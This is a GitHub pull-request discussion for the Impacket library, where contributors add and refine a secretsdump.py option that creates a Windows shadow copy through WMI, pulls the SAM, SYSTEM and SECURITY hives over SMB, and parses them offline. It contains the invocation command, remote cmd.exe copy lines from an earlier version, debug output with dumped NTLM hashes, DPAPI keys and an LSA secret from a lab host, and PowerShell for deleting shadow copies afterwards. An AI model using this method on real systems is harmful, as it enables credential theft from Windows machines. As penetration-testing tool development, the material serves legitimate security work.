fortra / impacket

Impacket is a collection of Python classes for working with network protocols.
https://www.coresecurity.com
Other
13k stars 3.5k forks source link

[SECRETSDUMP] New Dump Method - Shadow Snapshot Method via WMI #1719

Closed PeterGabaldon closed 1 month ago

PeterGabaldon commented 3 months ago

[UPDATE]

Thanks to @Veids and its advice, it is now working without RCE. It was my mistake that I implemented it bad, but now it is working. SAM/SYSTEM/SECURITY are downloaded via SMB from the Shadow Snapshot. I have to clear a little bit the code, but it is working fine.

https://github.com/fortra/impacket/pull/1719#issuecomment-2068196794

A new method for dumping local credentials has been developed that does not depend on the registry. This technique involves creating a Shadow Snapshot on the remote computer through WMI and downloading the SAM, SYSTEM, and SECURITY files for local analysis. Although Impacket implements a method for utilizing Shadow Snapshot, this method is distinct. The method currently in use targets NTDS in Domain Controllers using vssadmin create. Since the create command is not available in vssadmin on client computers, it is not possible to create a Shadow Snapshot remotely with this built-in tool. However, creation is feasible using WMI.

~Regrettably, I was unable to find a method to directly access the Shadow Snapshot remotely, leading me to resort to code execution to transfer the SAM, SYSTEM, and SECURITY files to a temporary local directory, which is more intrusive.~

Attempts to copy the files via WMI's _CIMLogicalFile were unsuccessful, ~yet I opted not to remove the __WMIcopy method~.

Following the creation of the Shadow Snapshot ~and the transfer of files to a temporary directory~, the SAM, SYSTEM, and SECURITY files are downloaded through SMB and parsed locally.

This update introduces the following parameters:

Example:

The following example use this method: python3 secretsdump.py -use-remoteSSMethod -debug "./Admin:1234@192.168.1.161"

image

/home/kali/impacket/venv/bin/python /home/kali/impacket/examples/secretsdump.py -use-remoteSSMethod -debug ./Admin:1234@192.168.1.161 
Impacket v0.12.0.dev1+20240227.200043.e43dcb49 - Copyright 2023 Fortra

[+] Impacket Library Installation Path: /home/kali/impacket/impacket
[*] Creating SS
[+] Target system is 192.168.1.161 and isFQDN is False
[+] StringBinding: DESKTOP-QK4T0E4[49937] 
[+] StringBinding: 192.168.1.161[49937] 
[+] StringBinding chosen: ncacn_ip_tcp:192.168.1.161[49937]
[+] Trying to create SS remotely via WMI
[+] Got ShadowID {06E69E21-FEC9-4621-A8E4-327E13B42A31}
[*] Getting SMB equivalent PATH to access remotely the SS
[+] Target system is 192.168.1.161 and isFQDN is False
[+] StringBinding: DESKTOP-QK4T0E4[49937] 
[+] StringBinding: 192.168.1.161[49937] 
[+] StringBinding chosen: ncacn_ip_tcp:192.168.1.161[49937]
[+] Getting original volume and SS volume via WMI
[+] Got \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5 \\?\Volume{137c8749-3624-430a-a900-4f98c5f57037}\
[+] Target system is 192.168.1.161 and isFQDN is False
[+] StringBinding: DESKTOP-QK4T0E4[49937] 
[+] StringBinding: 192.168.1.161[49937] 
[+] StringBinding chosen: ncacn_ip_tcp:192.168.1.161[49937]
[+] Getting drive letter via WMI using VolumeName
[+] Performed SS and got info via WMI
[+] Trying to copy the files to Temp directory
[+] ExecuteRemote command: %COMSPEC% /Q /c echo %COMSPEC% /C copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\System32\Config\SAM C:\Windows\Temp\bVIQw8 ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
[+] ExecuteRemote command: %COMSPEC% /Q /c echo %COMSPEC% /C copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\System32\Config\SYSTEM C:\Windows\Temp\LaMHRK ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
[+] ExecuteRemote command: %COMSPEC% /Q /c echo %COMSPEC% /C copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy5\Windows\System32\Config\SECURITY C:\Windows\Temp\5vidNr ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
[+] Downloaded from disk SAM, SYSTEM and SECURITY. Dumping...
[+] Retrieving class info for JD
[+] Unknown type 0xb'6\x00'
[+] Retrieving class info for Skew1
[+] Unknown type 0xb'6\x00'
[+] Retrieving class info for GBG
[+] Unknown type 0xb'9\x00'
[+] Retrieving class info for Data
[+] Unknown type 0xb'a\x00'
[*] Target system bootKey: 0x91e76f131643b25464e818adb2250307
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
[+] Calculating HashedBootKey from SAM
[+] NewStyle hashes is: True
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] NewStyle hashes is: True
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] NewStyle hashes is: True
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[+] NewStyle hashes is: True
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:4524e498591795ebf803edcafc32800e:::
[+] NewStyle hashes is: True
Admin:1001:aad3b435b51404eeaad3b435b51404ee:7ce21f17c0aee7fb9ceba532d0546ad6:::
[*] Dumping cached domain logon information (domain/username:hash)
[+] Decrypting LSA Key
[+] Decrypting NL$KM
[+] Looking into NL$1
[+] Looking into NL$2
[+] Looking into NL$3
[+] Looking into NL$4
[+] Looking into NL$5
[+] Looking into NL$6
[+] Looking into NL$7
[+] Looking into NL$8
[+] Looking into NL$9
[+] Looking into NL$10
[*] Dumping LSA Secrets
[+] Looking into DPAPI_SYSTEM
[*] DPAPI_SYSTEM 
dpapi_machinekey:0xe5960862f1395520b1cbff6e0744d7b52cafd856
dpapi_userkey:0xd56cb5401bf2d36c5ba528c4485a5d8cc4cc3ac9
[+] Looking into NL$KM
[*] NL$KM 
 0000   CE 1E 70 2A 77 BD 22 AC  D5 55 05 A7 A0 5D A8 96   ..p*w."..U...]..
 0010   47 34 D2 FB BC C1 78 70  01 34 FD 02 1A CC 8B F7   G4....xp.4......
 0020   76 4D C4 10 04 12 67 AC  C1 55 EF 3B C0 AA A5 00   vM....g..U.;....
 0030   F3 DA E8 79 C8 3C 6E D0  1A 93 81 F5 21 65 6D 6A   ...y.<n.....!emj
NL$KM:ce1e702a77bd22acd55505a7a05da8964734d2fbbcc178700134fd021acc8bf7764dc410041267acc155ef3bc0aaa500f3dae879c83c6ed01a9381f521656d6a
[*] Cleaning up... 

Process finished with exit code 0

image

The Shadow Snapshot has been created.

image

And the files were downloaded remotely via SMB.

image

SAERXCIT commented 3 months ago

Hello, this implementation is similar to this PR https://github.com/fortra/impacket/pull/1470, now open for more than a year. Hopefully one of these will get merged.

daviosardinha commented 3 months ago

Hello, I know it may sound stupid from my side, but, is it possible to make it retrieve NTDS.dit file as well?

PeterGabaldon commented 3 months ago

Hello, I know it may sound stupid from my side, but, is it possible to make it retrieve NTDS.dit file as well?

Hi @daviosardinha, yeah, it could be possible. But I focused on retrieve SAM because impacket already can retrieve NTDS.dit via Shadow Snapshot with the -use-vss parameter. This option (-use-vss) uses a differente aproach, executing "vssadmin create..." remotely.

As @SAERXCIT mentioned, there is a enhanced version of this in this PR https://github.com/fortra/impacket/pull/1470 using WMI for retriving NTDS.dit via Shadow Snapshot.

Maybe this two efforts should be combined in order to get all options, SAM, SYSTEM, SECURITY (this PR) and NTDS.dit (@SAERXCIT PR)

Veids commented 3 months ago

Nice one! As I remember, there were no problem obtaining SAM from snapshots at least via smbclient.py. Have you tried that?

PeterGabaldon commented 3 months ago

Hi @Veids, as far as I have tested I do not think so.

It is possible to list Shadow Snapshot from Impacket's smbclient but apparently not possible to access them.

Also note that the format is incorrect (https://github.com/fortra/impacket/pull/1718)

image

image

I have also tried SAMBA smbclient with no success.

image

And in Windows an error is obtained like when accessing SAM/SYSTEM/SECURITY directly on disk.

image

Maybe I am failing at some point, it would be nice if you could give an example please. Thanks!

PeterGabaldon commented 3 months ago

I think it would be possible to access the Shadow Snapshot Remotely and copy SAM/SYSTEM/SECURITY via SMB using a Junction Point, but it does not avoid executing code on the target machine as mklink is needed.

image image

Veids commented 3 months ago

Well, somehow cd command fails, but you can still enumerate the snapshot: 2024-03-21_07-48

And in order to download: image

PeterGabaldon commented 3 months ago

Nice @Veids, thanks mate.

Then I did not implemented it well (https://github.com/fortra/impacket/pull/1719/commits/19a310cb352b4b53b0d597f930bc4a732e55a1a5#diff-8a6b9e2198823742cf22bdbbe05f402809f595772c73e31cba6bf5f9aeb7855fR1068)

At my first try, I tried to download them directly through SMB. I am idiot :S. I will review it and try to avoid executing code remotely. Thank you!

XiaoliChan commented 3 months ago

The __WMIcopy in this case is useless, I think you can clean it up. Others look good! (BTW, don't forget to test it on Windows 2003)

PeterGabaldon commented 2 months ago

Thanks to @Veids and its advice, it is now working without RCE. It was my mistake that I implemented it bad, but now it is working. SAM/SYSTEM/SECURITY are downloaded via SMB from the Shadow Snapshot. I have to clear a little bit the code, but it is working fine.

image image

anadrianmanrique commented 2 months ago

reviewing this one

anadrianmanrique commented 2 months ago

Excellent! One last thing I forgot to mention, is that shadow copies created duting the attack should be deleted. Do you think this could be implemented?

PeterGabaldon commented 2 months ago

Ok @anadrianmanrique, I will try to implement that this weekend. Apparently the Delete method is not documented (https://learn.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa394428(v=vs.85) but it is available also via WMI.

$shadowCopies = Get-WMIObject -Class Win32_ShadowCopy -Computer <TARGET SERVER NAME>
$shadowCopies | % {$_.DeviceObject}  
$shadowCopies | Get-Member -View All
$shadowCopies[0].Delete()            
$shadowCopies.Delete()
PeterGabaldon commented 2 months ago

Hi, just to clarify one thing. I have tested it and yes, the SS can be deleted remotely via WMI. I am moving forward to implement it.

The Delete method is inherited from ManagementObject (https://learn.microsoft.com/es-es/dotnet/api/system.management.managementobject?view=dotnet-plat-ext-7.0)

PS C:\Users\Peter> $shadowCopies = Get-WMIObject -Query 'SELECT * FROM Win32_ShadowCopy WHERE ID="{569d2e9f-d38e-4b73-97b7-33b4efa60f45}"' -Credential $creds -Computer 192.168.43.131
PS C:\Users\Peter> $shadowCopies | Get-Member -View All

   TypeName: System.Management.ManagementObject#root\cimv2\Win32_ShadowCopy

Name                      MemberType            Definition
----                      ----------            ----------
PSComputerName            AliasProperty         PSComputerName = __SERVER
Disposed                  Event                 System.EventHandler Disposed(System.Object, System.EventArgs)
Clone                     Method                System.Object Clone(), System.Object ICloneable.Clone()
CompareTo                 Method                bool CompareTo(System.Management.ManagementBaseObject otherObject, S...
CopyTo                    Method                System.Management.ManagementPath CopyTo(System.Management.Management...
CreateObjRef              Method                System.Runtime.Remoting.ObjRef CreateObjRef(type requestedType)
Delete                    Method                void Delete(), void Delete(System.Management.DeleteOptions options),...
Dispose                   Method                void Dispose(), void IDisposable.Dispose()
Equals                    Method                bool Equals(System.Object obj)
Get                       Method                void Get(), void Get(System.Management.ManagementOperationObserver w...
GetHashCode               Method                int GetHashCode()
GetLifetimeService        Method                System.Object GetLifetimeService()
GetMethodParameters       Method                System.Management.ManagementBaseObject GetMethodParameters(string me...
GetObjectData             Method                void ISerializable.GetObjectData(System.Runtime.Serialization.Serial...
GetPropertyQualifierValue Method                System.Object GetPropertyQualifierValue(string propertyName, string ...
GetPropertyValue          Method                System.Object GetPropertyValue(string propertyName)
GetQualifierValue         Method                System.Object GetQualifierValue(string qualifierName)
GetRelated                Method                System.Management.ManagementObjectCollection GetRelated(), System.Ma...
GetRelationships          Method                System.Management.ManagementObjectCollection GetRelationships(), Sys...
GetText                   Method                string GetText(System.Management.TextFormat format)
GetType                   Method                type GetType()
InitializeLifetimeService Method                System.Object InitializeLifetimeService()
InvokeMethod              Method                System.Object InvokeMethod(string methodName, System.Object[] args),...
Put                       Method                System.Management.ManagementPath Put(), System.Management.Management...
Revert                    Method                System.Management.ManagementBaseObject Revert(System.Boolean ForceDi...
SetPropertyQualifierValue Method                void SetPropertyQualifierValue(string propertyName, string qualifier...
SetPropertyValue          Method                void SetPropertyValue(string propertyName, System.Object propertyValue)
SetQualifierValue         Method                void SetQualifierValue(string qualifierName, System.Object qualifier...
ToString                  Method                string ToString()
Item                      ParameterizedProperty System.Object Item(string propertyName) {get;set;}
Caption                   Property              string Caption {get;set;}
ClassPath                 Property              System.Management.ManagementPath ClassPath {get;}
ClientAccessible          Property              bool ClientAccessible {get;set;}
Container                 Property              System.ComponentModel.IContainer Container {get;}
Count                     Property              uint32 Count {get;set;}
Description               Property              string Description {get;set;}
DeviceObject              Property              string DeviceObject {get;set;}
Differential              Property              bool Differential {get;set;}
ExposedLocally            Property              bool ExposedLocally {get;set;}
ExposedName               Property              string ExposedName {get;set;}
ExposedPath               Property              string ExposedPath {get;set;}
ExposedRemotely           Property              bool ExposedRemotely {get;set;}
HardwareAssisted          Property              bool HardwareAssisted {get;set;}
ID                        Property              string ID {get;set;}
Imported                  Property              bool Imported {get;set;}
InstallDate               Property              string InstallDate {get;set;}
Name                      Property              string Name {get;set;}
NoAutoRelease             Property              bool NoAutoRelease {get;set;}
NotSurfaced               Property              bool NotSurfaced {get;set;}
NoWriters                 Property              bool NoWriters {get;set;}
Options                   Property              System.Management.ObjectGetOptions Options {get;set;}
OriginatingMachine        Property              string OriginatingMachine {get;set;}
Path                      Property              System.Management.ManagementPath Path {get;set;}
Persistent                Property              bool Persistent {get;set;}
Plex                      Property              bool Plex {get;set;}
Properties                Property              System.Management.PropertyDataCollection Properties {get;}
ProviderID                Property              string ProviderID {get;set;}
Qualifiers                Property              System.Management.QualifierDataCollection Qualifiers {get;}
Scope                     Property              System.Management.ManagementScope Scope {get;set;}
ServiceMachine            Property              string ServiceMachine {get;set;}
SetID                     Property              string SetID {get;set;}
Site                      Property              System.ComponentModel.ISite Site {get;set;}
State                     Property              uint32 State {get;set;}
Status                    Property              string Status {get;set;}
SystemProperties          Property              System.Management.PropertyDataCollection SystemProperties {get;}
Transportable             Property              bool Transportable {get;set;}
VolumeName                Property              string VolumeName {get;set;}
__CLASS                   Property              string __CLASS {get;set;}
__DERIVATION              Property              string[] __DERIVATION {get;set;}
__DYNASTY                 Property              string __DYNASTY {get;set;}
__GENUS                   Property              int __GENUS {get;set;}
__NAMESPACE               Property              string __NAMESPACE {get;set;}
__PATH                    Property              string __PATH {get;set;}
__PROPERTY_COUNT          Property              int __PROPERTY_COUNT {get;set;}
__RELPATH                 Property              string __RELPATH {get;set;}
__SERVER                  Property              string __SERVER {get;set;}
__SUPERCLASS              Property              string __SUPERCLASS {get;set;}
ConvertFromDateTime       ScriptMethod          System.Object ConvertFromDateTime();
ConvertToDateTime         ScriptMethod          System.Object ConvertToDateTime();

image image

PeterGabaldon commented 2 months ago

Shadow Snapshot is now deleted after downloading SAM/SYSTEM/SECURITY

The Delete method of ManagementObject (https://learn.microsoft.com/es-es/dotnet/api/system.management.managementobject?view=dotnet-plat-ext-7.0) actually is a call to DeleteInstance or DeleteClass.

The implementation of the .NET method can be found here: https://github.com/dotnet/runtime/blob/d099f075e45d2aa6007a22b71b45a08758559f80/src/libraries/System.Management/src/System/Management/ManagementObject.cs#L1939.

image image

anadrianmanrique commented 1 month ago

Great job! Thanks for your PR. Now merging

PeterGabaldon commented 1 month ago

Hi @anadrianmanrique, a blank file called SAM' was at the root of the repo and has been pushed.

image image

I didn´t detected that mistake, I am sorry about that.

anadrianmanrique commented 1 month ago

thanks for letting me know!